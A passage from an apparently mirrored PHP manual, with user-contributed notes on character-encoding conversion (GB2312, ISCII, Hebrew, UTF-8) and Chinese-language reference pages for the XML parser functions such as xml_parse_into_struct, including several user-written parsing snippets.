   if ((++$i == strlen($Str)) || ((ord($Str[$i]) & 0xC0) != 0x80)) return false;
  }
 }
 return true;
}
?>
Karen
02-Oct-2003 03:33
Re the previous post about converting GB2312 code to Unicode code which displayed the following function:

<?
// Program by sadly (www.phpx.com)

function gb2unicode($gb)
{
   if(!trim($gb))
   return $gb;
   $filename="gb2312.txt";
   $tmp=file($filename);
   $codetable=array();
   while(list($key,$value)=each($tmp))
   $codetable[hexdec(substr($value,0,6))]=substr($value,9,4);
   $utf="";
   while($gb)
   {
     if (ord(substr($gb,0,1))>127)
     {
       $this=substr($gb,0,2);
       $gb=substr($gb,2,strlen($gb));
       $utf.="&#x".$codetable[hexdec(bin2hex($this))-0x8080].";";
     }
     else
     {
     $gb=substr($gb,1,strlen($gb));
     $utf.=substr($gb,0,1);
     }
     }
  return $utf;
}
?>

I found that a small change was needed in the code to properly handle latin characters embedded in the middle of gb2312 text, as when the text includes a URL or email address. Just reverse the two lines in the part of the statement above that handles ord vals !>127.

Change:

$gb=substr($gb,1,strlen($gb));
$utf.=substr($gb,0,1);

to:

$utf.=substr($gb,0,1);
$gb=substr($gb,1,strlen($gb));

In the original function, the first latin chacter was dropped and it was not converting the first non-latin character after the latin text (everything was shifted one character too far to the right). Reversing those two lines makes it work correctly in every example I have tried.

Also, the source of the gb2312.txt file needed for this to work has changed. You can find it a couple places:

http://tcl.apache.org/sources/tcl/tools/encoding/gb2312.txt
ftp://ftp.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/GB/GB2312.TXT
artem at w510 dot tm dot odessa dot ua
03-Jun-2003 10:10
Loading variables in flash

you can lost a lot of hours if your charset is not iso-88951 and you cant' see your characters in flash

you must use iconv instead with your codepage
(for example windows-1251 for ukrainian, russian)

$fw = fopen("flash_input.txt", "w");
if( $fw )
{
   $utf = iconv("windows-1251","UTF-8",$variable_value);
   $out = 'variable_name='.$utf;
   fputs($fw, $out);
   fclose($fw);
}

and no urlecode is needed if you save data in file!
mualem_i at hotmail dot com
22-May-2003 09:12
Hebrew!! What a language. I had some trouble placing the Hebrew in a javascript based drop down menu, the text appeared as UTF8 so I made this function to overcome the problem (Not talking about efficiency)

function rtf_heb($string)
   {
   $array = split (" ",$string) ;
   foreach ($array as $VAL)
       {
       $VAL = str_replace("&#1488","",$VAL);
       $VAL = str_replace("&#1489","",$VAL);
       $VAL = str_replace("&#1490","",$VAL);
       $VAL = str_replace("&#1491","",$VAL);
       $VAL = str_replace("&#1492","",$VAL);
       $VAL = str_replace("&#1493","",$VAL);
       $VAL = str_replace("&#1494","",$VAL);
       $VAL = str_replace("&#1495","",$VAL);
       $VAL = str_replace("&#1496","",$VAL);
       $VAL = str_replace("&#1497","",$VAL);
       $VAL = str_replace("&#1499","",$VAL);
       $VAL = str_replace("&#1500","",$VAL);
       $VAL = str_replace("&#1502","",$VAL);
       $VAL = str_replace("&#1504","",$VAL);
       $VAL = str_replace("&#1505","",$VAL);
       $VAL = str_replace("&#1506","",$VAL);
       $VAL = str_replace("&#1508","",$VAL);
       $VAL = str_replace("&#1510","",$VAL);
       $VAL = str_replace("&#1511","",$VAL);
       $VAL = str_replace("&#1512","",$VAL);
       $VAL = str_replace("&#1513","",$VAL);
       $VAL = str_replace("&#1514","",$VAL);
       $VAL = str_replace("&#1498","",$VAL);
       $VAL = str_replace("&#1507","",$VAL);
       $VAL = str_replace("&#1503","",$VAL);
       $VAL = str_replace("&#1501","",$VAL);
       $VAL = str_replace("&#1509","",$VAL);
       $VAL = str_replace(";","",$VAL);
       $send_VAR .= $VAL." ";

       }
       return $send_VAR;
   }
RoyLaw at 263 dot Net
19-May-2003 07:16
There is a function for converting GB2312 code to Unicode code.It maybe useful for programming on XML/WML in non-English lanaguages.

<?
// Program by sadly (www.phpx.com)

function gb2unicode($gb)
{
   if(!trim($gb))
   return $gb;
   $filename="gb2312.txt";
   $tmp=file($filename);
   $codetable=array();
   while(list($key,$value)=each($tmp))
   $codetable[hexdec(substr($value,0,6))]=substr($value,9,4);
   $utf="";
   while($gb)
   {
     if (ord(substr($gb,0,1))>127)
     {
       $this=substr($gb,0,2);
       $gb=substr($gb,2,strlen($gb));
       $utf.="&#x".$codetable[hexdec(bin2hex($this))-0x8080].";";
     }
     else
     {
     $gb=substr($gb,1,strlen($gb));
     $utf.=substr($gb,0,1);
     }
     }
  return $utf;
}
?>

This function requires a code list of gb2312,you can download it at
ftp://ftp.unicode.org/Public/MAPPINGS/EASTASIA/GB/GB2312.TXT
sunish_mv at rediffmail dot com
04-Apr-2003 02:50
/*Here I have a class that will convert ISCII (Indian Standard Code for Information Interchange) devnagiri (Hindi) string to unicode string. /*

<?php

  class iscii2utf8 {

     var $map;

     function iscii2utf8() {

         $this->map = array (
                   "a0" =>  '63'  ,
                 "a1" => '2305' ,
                 "a2" => '2306' ,
                 "a3" => '2307' ,
                 "a4" => '2309' ,
                 "a5" => '2310' ,
                 "a6" => '2311' ,
                 "a7" => '2312' ,
                 "a8" => '2313' ,
                 "a9" => '2314' ,
                 "aa" => '2315' ,
                 "ab" => '2318' ,
                 "ac" => '2319' ,
                 "ad" => '2320' ,
                 "ae" => '2317' ,
                 "af" => '2322' ,
                 "b0" => '2323' ,
                 "b1" => '2324' ,
                 "b2" => '2321' ,
                 "b3" => '2325' ,
                 "b4" => '2326' ,
                 "b5" => '2327' ,
                 "b6" => '2328' ,
                 "b7" => '2329' ,
                 "b8" => '2330' ,
                 "b9" => '2331' ,
                 "ba" => '2332' ,
                 "bb" => '2333' ,
                 "bc" => '2334' ,
                 "bd" => '2335' ,
                 "be" => '2336' ,
                 "bf" => '2337' ,
                 "c0" => '2338' ,
                 "c1" => '2339' ,
                 "c2" => '2340' ,
                 "c3" => '2341' ,
                 "c4" => '2342' ,
                 "c5" => '2343' ,
                 "c6" => '2344' ,
                 "c7" => '2345' ,
                 "c8" => '2346' ,
                 "c9" => '2347' ,
                 "ca" => '2348' ,
                 "cb" => '2349' ,
                 "cc" => '2350' ,
                 "cd" => '2351' ,
                 "ce" => '2399' ,
                 "cf" => '2352' ,
                 "d0" => '2353' ,
                 "d1" => '2354' ,
                 "d2" => '2355' ,
                 "d3" => '2356' ,
                 "d4" => '2357' ,
                 "d5" => '2358' ,
                 "d6" => '2359' ,
                 "d7" => '2360' ,
                 "d8" => '2361' ,
                 "d9" =>  '63'  ,
                 "da" => '2366' ,
                 "db" => '2367' ,
                 "dc" => '2368' ,
                 "dd" => '2369' ,
                 "de" => '2370' ,
                 "df" => '2371' ,
                 "e0" => '2374' ,
                 "e1" => '2375' ,
                 "e2" => '2376' ,
                 "e3" => '2373' ,
                 "e4" => '2378' ,
                 "e5" => '2379' ,
                 "e6" => '2380' ,
                 "e7" => '2377' ,
                 "e8" => '2381' ,
                 "e9" =>  '63'  ,
                 "ea" => '2404' ,
                 "eb" =>  '63'  ,
                 "ec" =>  '63'  ,
                 "ed" =>  '63'  ,
                 "ee" =>  '63'  ,
                 "ef" =>  '63'  ,
                 "f0" =>  '63'  ,
                 "f1" => '2406' ,
                 "f2" => '2407' ,
                 "f3" => '2408' ,
                 "f4" => '2409' ,
                 "f5" => '2410' ,
                 "f6" => '2411' ,
                 "f7" => '2412' ,
                 "f8" => '2413' ,
                 "f9" => '2414' ,
                 "fa" => '2415' ,
                 "fb" =>  '63'  ,
                 "fc" =>  '63'  ,
                 "fd" =>  '63'  ,
                 "fe" =>  '63'  ,
                 "ff" =>  '63'  ,);
       }

       function code2utf($num){

             //Returns the utf string corresponding to the unicode value
             //courtesy - romans@void.lv

             if($num<128)return chr($num);
             if($num<1024)return chr(($num>>6)+192).chr(($num&63)+128);
             if($num<32768)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
             if($num<2097152)return chr($num>>18+240).chr((($num>>12)&63)+128).chr(($num>>6)&63+128). chr($num&63+128);
             return '';

       }

       function convertstring($iscii) {
           //Returs utf8 string equibalent of given iscii string

           $str = "";
           for($i = 0; $i<strlen($iscii); $i++) {

               $c = dechex(ord(substr($iscii,$i,1)));
               if (isset($this->map[$c] )) {
                   $s = $this->code2utf($this->map[$c]);
                   $str .= ($s == "?")?"":$s;
                   }
               else {
                   $str .= substr($iscii,$i,1);
                   }

           }

           return $str;
       }

   }

?>
rbotzer at yahoo dot com
01-Apr-2003 05:25
BTW, the 21-bit range is pretty old news.  Unicode 3.x uses a 31bit encoding scheme that allows for 2 billion characters.

I'll post an enhanced encoder soon.  In the meanwhile here's the current encoding scheme: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8

Ronen
webmaster at swisswebgroup dot com
31-Mar-2003 09:54
if you try to pass data to a flash movie with the
actionscripts functions loadVars or sendAndLoad give this a try,
if you have problems with special chars like &auml; &ouml; ....

echo "&data1=".urlencode(utf8_encode(""))
   ."&data2=".urlencode(utf8_encode(""));

greets

js
romans at void dot lv
03-Oct-2002 09:59
Here is optimized function which converts binary UTF symbol code into unicoded string.

 function code2utf($num){
  if($num<128)return chr($num);
  if($num<1024)return chr(($num>>6)+192).chr(($num&63)+128);
  if($num<32768)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
  if($num<2097152)return chr($num>>18+240).chr((($num>>12)&63)+128).chr(($num>>6)&63+128). chr($num&63+128);
  return '';
 }
dimitrisATccfDOTauthDOTgr
29-Aug-2002 02:04
To make utf8_encode and utf8_decode support other than iso-8859-1 encodings, you can easily define your encoding in the PHP source.
In the file PHP_SOURCE/ext/xml/xml.c add the following code, for e.g. greek iso-8859-7:

DEFINE TWO NEW FUNCTIONS UP TOP:
inline static unsigned short xml_encode_iso_8859_7(unsigned char);
inline static char xml_decode_iso_8859_7(unsigned short);

AND THEN IMPLEMENT THEM BELOW:
/* {{{ xml_encode_iso_8859_7() - Dimitris Daskopoulos 28/8/02 */
/* map iso-8859-7 chars to Unicode chars */
inline static unsigned short xml_encode_iso_8859_7(unsigned char c)
{
       if (c < 0x80) { /* low-ASCII, leave as is */
               return (unsigned short)c;
       } else { /* Greek character in high-ASCII */
               /* map to UCS greek range (U+0310..03ff) */
               /* assume that c < 0xff */
               return (unsigned short)(c + 720);
       }
}
/* }}} */

/* {{{ xml_decode_iso_8859_7() - Dimitris Daskopoulos 28/8/02 */
/* map Unicode chars to iso-8859-7 chars */
inline static char xml_decode_iso_8859_7(unsigned short c)
{
       if (c < 0x100) { /* char in latin chart, leave as is */
               return (char)c;
       } else if (c > 0x030f && c < 0x0400) { /* char in greek chart */
               /* map back to ISO-8859-7 greek (high-ASCII) */
               return (char)(c - 720);
       } else { /* char not in latin or greek Unicode charts */
               /* return question mark character */
               return (char)('?');
       }
}
/* }}} */

These two work fine for greek iso-8859-7, but studying http://www.unicode.org/charts you
can implement mappings between unicode and other iso-8859-x quite easily.

In both functions (utf8_encode and utf8_decode), change the requested encoding to the one you prefer, e.g.

encoded = xml_utf8_encode(Z_STRVAL_PP(arg), Z_STRLEN_PP(arg), &len, "ISO-8859-7");

decoded = xml_utf8_decode(Z_STRVAL_PP(arg), Z_STRLEN_PP(arg), &len, "ISO-8859-7");

Make sure you add the new encoding
in the structure, by entering a new
row with the official name (ISO-8859-7), and the names of the
two functions you have just defined:
xml_encoding xml_encodings[] = {
       { "ISO-8859-1", xml_decode_iso_8859_1, xml_encode_iso_8859_1 },
       { "US-ASCII",  xml_decode_us_ascii,  xml_encode_us_ascii  },
       { "UTF-8",      NULL,                  NULL                  },
       { "ISO-8859-7", xml_decode_iso_8859_7, xml_encode_iso_8859_7 },
       { NULL,        NULL,                  NULL                  }
};

Finally, the following is probably not necessary, but I changed the default encoding (found in 2 spots in this file) to whatever encoding you prefer in your
pages, e.g.:
XML(default_encoding) = "ISO-8859-7";

This solution is a little messy,
since the utf8_encode function does not accept an argument for choosing the encoding method to use but hardwires the encoding method in the source code. Maybe PHP developers will provide this option in future releases. Until then, this is a quick and dirty solution that will work for
localized PHP pages.

Dimitris Daskopoulos
28-Aug-2002 02:30
For XML generation, if you want non-ASCII ISO-8859-1 characters within text and attributes, you don't absolutely need UTF-8 encoding:

The optional XML declaration can change the default encoding for characters from UTF-8 to ISO-8859-1:

<?xml version="1.0" encoding="iso-8859-1" ?>

This can save a lot of PHP code if you just want to generate ISO-8859-1 text and attribute values...

XML specification requires that all parsers support both the UTF-8 encoding (by default), and the ISO-8859-1 character set. Other character sets may be supported also by specifying them in the encoding attribute of the leading XML declaration (but the target parser must support this character set to allow automatic conversion of the source text into Unicode character entities.
dutoit at NOSPAM dot abonder dot com
02-Aug-2002 02:50
To write an XML element $title containing "exotic" (eg. non ASCII  &  ...) 2 solutions I found :
Fastest :
$xml .= "<title><![CDATA[" . $title ."]]></title>\n"

or cleanest :
$xml .= "<title>".utf8_encode(htmlspecialchars($title))."</title>\n"

After that, your xml can be parsed without errors.
sts at netempire dot de at nospam dot remove at this dot com
12-Apr-2002 11:18
if you want to encode/decode arrays, use these recursive functions

function utf8_encode_array (&$array, $key) {
   if(is_array($array)) {
     array_walk ($array, 'utf8_encode_array');
   } else {
     $array = utf8_encode($array);
   }
}

function utf8_decode_array (&$array, $key) {
   if(is_array($array)) {
     array_walk ($array, 'utf8_decode_array');
   } else {
     $array = utf8_decode($array);
   }
}

and call them with array_walk for e.g.
array_walk ($array_unencoded, 'utf8_decode_array');
lars(at)ioflux(dot)net
14-Mar-2002 12:29
This will also do the job for those who're interested:

<?

function utf8toiso8859($string)
{
  $returns = "";
  $UTF8len = array(1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 5, 6);
  $pos = 0;
  $antal = strlen($string);

  do
  {
   $c = ord($string[$pos]);
   $len = $UTF8len[($c >> 2) & 0x3F];
   switch ($len)
   {
     case 6:
       $u = $c & 0x01;
       break;
     case 5:
       $u = $c & 0x03;
       break;
     case 4:
       $u = $c & 0x07;
       break;
     case 3:
       $u = $c & 0x0F;
       break;
     case 2:
       $u = $c & 0x1F;
       break;
     case 1:
       $u = $c & 0x7F;
       break;
     case 0:  /* unexpected start of a new character */
       $u = $c & 0x3F;
       $len = 5;
       break;
   }
   while (--$len && (++$pos < $antal && $c =
ord($string[$pos])))
   {
     if (($c & 0xC0) == 0x80)
       $u = ($u << 6) | ($c & 0x3F);
     else
     { /* unexpected start of a new character */
       $pos--;
       break;
     }
   }
   if ($u <= 0xFF)
     $returns .= chr($u);
   else
     $returns .= '?';
  } while (++$pos < $antal);
  return $returns;
}

?>
ronen at greyzone dot com
08-Mar-2002 04:01
The following function will utf-8 encode unicode entities &#nnn(nn); with n={0..9}

/**
* takes a string of unicode entities and converts it to a utf-8 encoded string
* each unicode entitiy has the form &#nnn(nn); n={0..9} and can be displayed by utf-8 supporting
* browsers.  Ascii will not be modified.
* @param $source string of unicode entities [STRING]
* @return a utf-8 encoded string [STRING]
* @access public
*/
function utf8Encode ($source) {
   $utf8Str = '';
   $entityArray = explode ("&#", $source);
   $size = count ($entityArray);
   for ($i = 0; $i < $size; $i++) {
       $subStr = $entityArray[$i];
       $nonEntity = strstr ($subStr, ';');
       if ($nonEntity !== false) {
           $unicode = intval (substr ($subStr, 0, (strpos ($subStr, ';') + 1)));
           // determine how many chars are needed to reprsent this unicode char
           if ($unicode < 128) {
               $utf8Substring = chr ($unicode);
           }
           else if ($unicode >= 128 && $unicode < 2048) {
               $binVal = str_pad (decbin ($unicode), 11, "0", STR_PAD_LEFT);
               $binPart1 = substr ($binVal, 0, 5);
               $binPart2 = substr ($binVal, 5);

               $char1 = chr (192 + bindec ($binPart1));
               $char2 = chr (128 + bindec ($binPart2));
               $utf8Substring = $char1 . $char2;
           }
           else if ($unicode >= 2048 && $unicode < 65536) {
               $binVal = str_pad (decbin ($unicode), 16, "0", STR_PAD_LEFT);
               $binPart1 = substr ($binVal, 0, 4);
               $binPart2 = substr ($binVal, 4, 6);
               $binPart3 = substr ($binVal, 10);

               $char1 = chr (224 + bindec ($binPart1));
               $char2 = chr (128 + bindec ($binPart2));
               $char3 = chr (128 + bindec ($binPart3));
               $utf8Substring = $char1 . $char2 . $char3;
           }
           else {
               $binVal = str_pad (decbin ($unicode), 21, "0", STR_PAD_LEFT);
               $binPart1 = substr ($binVal, 0, 3);
               $binPart2 = substr ($binVal, 3, 6);
               $binPart3 = substr ($binVal, 9, 6);
               $binPart4 = substr ($binVal, 15);

               $char1 = chr (240 + bindec ($binPart1));
               $char2 = chr (128 + bindec ($binPart2));
               $char3 = chr (128 + bindec ($binPart3));
               $char4 = chr (128 + bindec ($binPart4));
               $utf8Substring = $char1 . $char2 . $char3 . $char4;
           }

           if (strlen ($nonEntity) > 1)
               $nonEntity = substr ($nonEntity, 1); // chop the first char (';')
           else
               $nonEntity = '';

           $utf8Str .= $utf8Substring . $nonEntity;
       }
       else {
           $utf8Str .= $subStr;
       }
   }

   return $utf8Str;
}

Ronen.
add a note add a note

后退 | 起点 | 前进
utf8_decode | 上一级 | xml_error_string


xml_error_string

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_error_string -- 获取 XML 解析器的错误字符串

说明

string xml_error_string ( int code )

根据给定的 code 获得 XML 解析器错误字符串。

参数

code

由 xml_get_error_code() 返回的错误代码。

返回值

返回与 code 描述的错误代码参数对应的文本描述字符串，若没有与之对应的描述，则返回 FALSE。

参见

xml_get_error_code()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
utf8_encode | 上一级 | xml_get_current_byte_index


xml_get_current_byte_index

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_get_current_byte_index -- 获取 XML 解析器的当前字节索引

说明

int xml_get_current_byte_index ( resource parser )

获取指定的 XML 解析器的当前字节索引（current byte index）。

参数

parser

一个指向要取得字节索引的 XML 解析器的引用。

返回值

如果 parser 没有指向一个合法的解析器，该函数将返回 FALSE，否则将返回解析器当前在其数据缓冲区中的字节索引（起始值为 0）。

参见

xml_get_current_column_index()
xml_get_current_line_index()

add a note add a note User Contributed Notes
turan dot yuksel at tcmb dot gov dot tr
20-Sep-2005 06:38
The outcome of this function is heavily dependent on the parser implementation used. For example, at the point where the start_element_ callback is called, libxml2 parser consumes the entire element name and attributes, however expat does not.
add a note add a note

后退 | 起点 | 前进
xml_error_string | 上一级 | xml_get_current_column_number


xml_get_current_column_number

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_get_current_column_number -- 获取 XML 解析器的当前列号

说明

int xml_get_current_column_number ( resource parser )

获得指定 XML 解析器当前的列号。

参数

parser

一个指向要获取列号的 XML 解析器的指针。

返回值

如果 parser 参数没有指向一个合法的解析器，该函数将返回 FALSE，否则将返回指定解析器所在行（由函数 xml_get_current_line_number() 给定）的当前列号。

参见

xml_get_current_byte_index()
xml_get_current_line_index()

add a note add a note User Contributed Notes
shaun at 5810 dot com
06-Jul-2003 12:04
Column numbers apparently start at 0. So you may want to add 1.
javajohn at gulfbridge.net
23-Mar-2003 02:03
"Column number" refers to the current character position within the current line of the XML document.
add a note add a note

后退 | 起点 | 前进
xml_get_current_byte_index | 上一级 | xml_get_current_line_number


xml_get_current_line_number

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_get_current_line_number -- 获取 XML 解析器的当前行号

说明

int xml_get_current_line_number ( resource parser )

获取指定 XML 解析器当前的行号。

参数

parser

一个指向要获取当前行号的 XML 解析器的指针。

返回值

如果 parser 参数没有指向一个合法的解析器，该函数将返回 FALSE，否则将返回指定解析器在其缓存中的当前行号。

参见

xml_get_current_column_index()
xml_get_current_byte_index()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xml_get_current_column_number | 上一级 | xml_get_error_code


xml_get_error_code

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

xml_get_error_code -- 获取 XML 解析器错误代码

说明

int xml_get_error_code ( resource parser )

获取 XML 解析器错误代码。

参数

parser

一个指向要返回错误代码的 XML 解析器的指针

返回值

如果 parser 参数没有指向一个合法的解析器，该函数将返回 FALSE，否则将返回错误代码列表中的一个错误代码。

参见

xml_error_string()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xml_get_current_line_number | 上一级 | xml_parse_into_struct


xml_parse_into_struct

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

xml_parse_into_struct -- 将 XML 数据解析到数组中

说明

int xml_parse_into_struct ( resource parser, string data, array &values [, array &index] )

该函数将 XML 文件解析到两个对应的数组中，index 参数含有指向 values 数组中对应值的指针。最后两个数组参数可由指针传递给函数。

注: xml_parse_into_struct() 失败返回 0，成功返回 1。这和 FALSE 与 TRUE 不同，使用例如 === 的运算符时要注意。

以下范例显示了由该函数生成的数组的内部结构。我们简单地将一个 note 嵌入到一个 para 标记中，解析后我们可以打印出生成的数组的结构：

例子 1. xml_parse_into_struct() 示例

<?php
$simple = "<para><note>simple note</note></para>";
$p = xml_parser_create();
xml_parse_into_struct($p, $simple, $vals, $index);
xml_parser_free($p);
echo "Index array\n";
print_r($index);
echo "\nVals array\n";
print_r($vals);
?>

运行以上代码，我们得到的输出将是：

Index array
Array
(
    [PARA] => Array
        (
            [0] => 0
            [1] => 2
        )

    [NOTE] => Array
        (
            [0] => 1
        )

)

Vals array
Array
(
    [0] => Array
        (
            [tag] => PARA
            [type] => open
            [level] => 1
        )

    [1] => Array
        (
            [tag] => NOTE
            [type] => complete
            [level] => 2
            [value] => simple note
        )

    [2] => Array
        (
            [tag] => PARA
            [type] => close
            [level] => 1
        )

)

如果您的 XML 文档很复杂，基于该文档的事件处理（Event-driven）解析（基于 expat 扩展库）也会对应的变得复杂。该函数生成的并非 DOM 风格的对象，而是横向的树状结构。因此，我们能够方便的建立表达 XML 文件数据的对象。我们假设以下 XML 文件表示一个关于氨基酸信息的小型数据库：

例子 2. moldb.xml - 分子信息的小型数据库

<?xml version="1.0"?>
<moldb>

    <molecule>
        <name>Alanine</name>
        <symbol>ala</symbol>
        <code>A</code>
        <type>hydrophobic</type>
    </molecule>

    <molecule>
        <name>Lysine</name>
        <symbol>lys</symbol>
        <code>K</code>
        <type>charged</type>
    </molecule>

</moldb>
以下是解析该文档并生成相应对象的代码：

例子 3. parsemoldb.php - 将 moldb.xml 解析到分子（molecular）对象的数组中

<?php

class AminoAcid {
    var $name;  // aa 姓名
    var $symbol;    // 三字母符号
    var $code;  // 单字母代码
    var $type;  // hydrophobic, charged 或 neutral

    function AminoAcid ($aa)
    {
        foreach ($aa as $k=>$v)
            $this->$k = $aa[$k];
    }
}

function readDatabase($filename)
{
    // 读取 aminoacids 的 XML 数据
    $data = implode("",file($filename));
    $parser = xml_parser_create();
    xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
    xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
    xml_parse_into_struct($parser, $data, $values, $tags);
    xml_parser_free($parser);

    // 遍历 XML 结构
    foreach ($tags as $key=>$val) {
        if ($key == "molecule") {
            $molranges = $val;
            // each contiguous pair of array entries are the
            // lower and upper range for each molecule definition
            for ($i=0; $i < count($molranges); $i+=2) {
                $offset = $molranges[$i] + 1;
                $len = $molranges[$i + 1] - $offset;
                $tdb[] = parseMol(array_slice($values, $offset, $len));
            }
        } else {
            continue;
        }
    }
    return $tdb;
}

function parseMol($mvalues)
{
    for ($i=0; $i < count($mvalues); $i++) {
        $mol[$mvalues[$i]["tag"]] = $mvalues[$i]["value"];
    }
    return new AminoAcid($mol);
}

$db = readDatabase("moldb.xml");
echo "** Database of AminoAcid objects:\n";
print_r($db);

?>
在执行完 parsemoldb.php 后，变量 $db 将包含有一个由 AminoAcid 对象组成的数组，该脚本的输出如下：

** Database of AminoAcid objects:
Array
(
    [0] => aminoacid Object
        (
            [name] => Alanine
            [symbol] => ala
            [code] => A
            [type] => hydrophobic
        )

    [1] => aminoacid Object
        (
            [name] => Lysine
            [symbol] => lys
            [code] => K
            [type] => charged
        )

)

add a note add a note User Contributed Notes
efredricksen at gmail dot com
24-May-2006 03:55
Perhaps the one true parser:? I modified xademax's fine code to tidy it up, codewise and style wise, rationalize some minor crazyness, and make names fit nomenclature from the XML spec. (There are no uses of eval, and shame on you people who do.)

<?php
class XmlElement {
  var $name;
  var $attributes;
  var $content;
  var $children;
};

function xml_to_object($xml) {
  $parser = xml_parser_create();
  xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
  xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
  xml_parse_into_struct($parser, $xml, $tags);
  xml_parser_free($parser);

  $elements = array();  // the currently filling [child] XmlElement array
  $stack = array();
  foreach ($tags as $tag) {
   $index = count($elements);
   if ($tag['type'] == "complete" || $tag['type'] == "open") {
     $elements[$index] = new XmlElement;
     $elements[$index]->name = $tag['tag'];
     $elements[$index]->attributes = $tag['attributes'];
     $elements[$index]->content = $tag['value'];
     if ($tag['type'] == "open") {  // push
       $elements[$index]->children = array();
       $stack[count($stack)] = &$elements;
       $elements = &$elements[$index]->children;
     }
   }
   if ($tag['type'] == "close") {  // pop
     $elements = &$stack[count($stack) - 1];
     unset($stack[count($stack) - 1]);
   }
  }
  return $elements[0];  // the single top-level element
}

// For example:
$xml = '
<parser>
   <name language="en-us">Fred Parser</name>
   <category>
       <name>Nomenclature</name>
       <note>Noteworthy</note>
   </category>
</parser>
';
print_r(xml_to_object($xml));
?>

will give:

xmlelement Object
(
   [name] => parser
   [attributes] =>
   [content] =>
   [children] => Array
       (
           [0] => xmlelement Object
               (
                   [name] => name
                   [attributes] => Array
                       (
                           [language] => en-us
                       )

                   [content] => Fred Parser
                   [children] =>
               )

           [1] => xmlelement Object
               (
                   [name] => category
                   [attributes] =>
                   [content] =>
                   [children] => Array
                       (
                           [0] => xmlelement Object
                               (
                                   [name] => name
                                   [attributes] =>
                                   [content] => Nomenclature
                                   [children] =>
                               )

                           [1] => xmlelement Object
                               (
                                   [name] => note
                                   [attributes] =>
                                   [content] => Noteworthy
                                   [children] =>
                               )

                       )

               )

       )

)
Stuart
24-May-2006 06:26
This is a great little function for a lot of XML work, but note that this function does not handle XML entities properly.

The basic XML entities &lt; &gt; &amp; &quot; are fine, just anything else will not work:

If the entity is defined in the XML header, the parser will drop it completely from the struct it creates.

If the entity is not defined in the XML then the parser will crash out with an undefined entity error.

You should be able to work around this limitation by using a preg_replace on your XML string before passing it to the parser.

(Further details in Bug #35271; this is just a warning to those thinking of using this function for parsing real XML documents not just trivial XML examples)
donna at coloma dot com
29-Apr-2006 03:15
I needed a very simple parser for a set of name-value pairs to be stored in a single database field. I started with the mold example, paired it down, picked up the "id" attributes. Perhaps it will be useful for someone else.

<?php
/* simple conversion for name-value fields */

$xmlInput = "<?xml version=\"1.0\"?>
<mcw_settings>
  <field id=\"imageAlign\">left</field>
  <field id=\"caption\">What a nice picture.</field>
</mcw_settings>";

$desiredResult = array (
   'imageAlign' => "left",
   'caption' => "What a nice picture."
);

function parseFields ($data)
{
   // read the XML database of fields
   $parser = xml_parser_create();
   xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
   xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
   xml_parse_into_struct($parser, $data, $values, $tags);
   xml_parser_free($parser);
   $fields = null;

   // loop through the structures
   $fieldIndices = $tags['field'];
   for ( $i=0; $i < count($fieldIndices); $i++ ) {
       $fieldInfo = $values[$fieldIndices[$i]];
       $fields[$fieldInfo['attributes']['id']] = $fieldInfo['value'];
   }
   return $fields;
}

$test = parseFields($xmlInput);
echo "** Result:\n";
print_r($test);
?>
matt at australiangamer dot com
03-Apr-2006 10:58
I liked VampBoy's code as it gave me structure pretty much as I wanted it. Just two notes, though:

There is a bug in this code. subdivide() checks for pre-existing values, but not in the case of a "complete" element.

In the following (appallingly bad) XML

<Names>
<Name>Matt</Name>
<Name>Stacy</Name>
<Names>

Only Stacy is added to Names in the array, wiping Matt in the process.

To fix this replace the following code
<?php
elseif ($dat[level] === $level && $dat[type] === "complete"){
   $newarray[$dat[tag]]=$dat[value];
}
?>
with
<?php
elseif ($dat[level] === $level && $dat[type] === "complete"){
     if (isset($newarray[$dat['tag']]) && is_array($newarray[$dat['tag']])){
         $newarray[$dat['tag']][] = $dat['value'];
     } elseif (isset($newarray[$dat['tag']]) && !is_array($newarray[$dat['tag']])){
         $newarray[$dat['tag']] = array($newarray[$dat['tag']], $dat['value']);
     } else {
         $newarray[$dat['tag']]=$dat['value'];
     }
}?>

Oh, also, note that the $dat[level], etc, WILL generate warnings, and should be more correctly written as $dat['level'].

The other thing I thought I should point out is that the array keys when created using xml_parse_into_struct will be an UPPERCASE version of your existing element names. If case is important, especially if you, like me, need mixedCase, do the following:

<?php
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser,XML_OPTION_CASE_FOLDING,0);
?>
30-Mar-2006 03:57
$simple = '<?xml version="1.0"?>
<moldb>
   <molecule>
       <name>Alanine</name>
       <symbol>ala</symbol>
       <code>A</code>
       <type>hydrophobic</type>
   </molecule>
   <molecule>
       <name>Lysine</name>
       <symbol>lys</symbol>
       <code>K</code>
       <type>charged</type>
   </molecule>
</moldb>';

$p = xml_parser_create();
xml_parse_into_struct($p, $simple, $vals, $index);
xml_parser_free($p);
echo "<pre>";
echo "Index array\n";
print_r($index);
echo "\nVals array\n";
print_r($vals);

foreach ($vals as $k => $v) {
   $i = 0;
   if (trim($v['value']) != '') {
       if ($arr[$i][$v['tag']] != '') {
           $i ++;
       }
       $arr[$i][$v['tag']] = $v['value'];
   }
}
xademax at gmail dot com
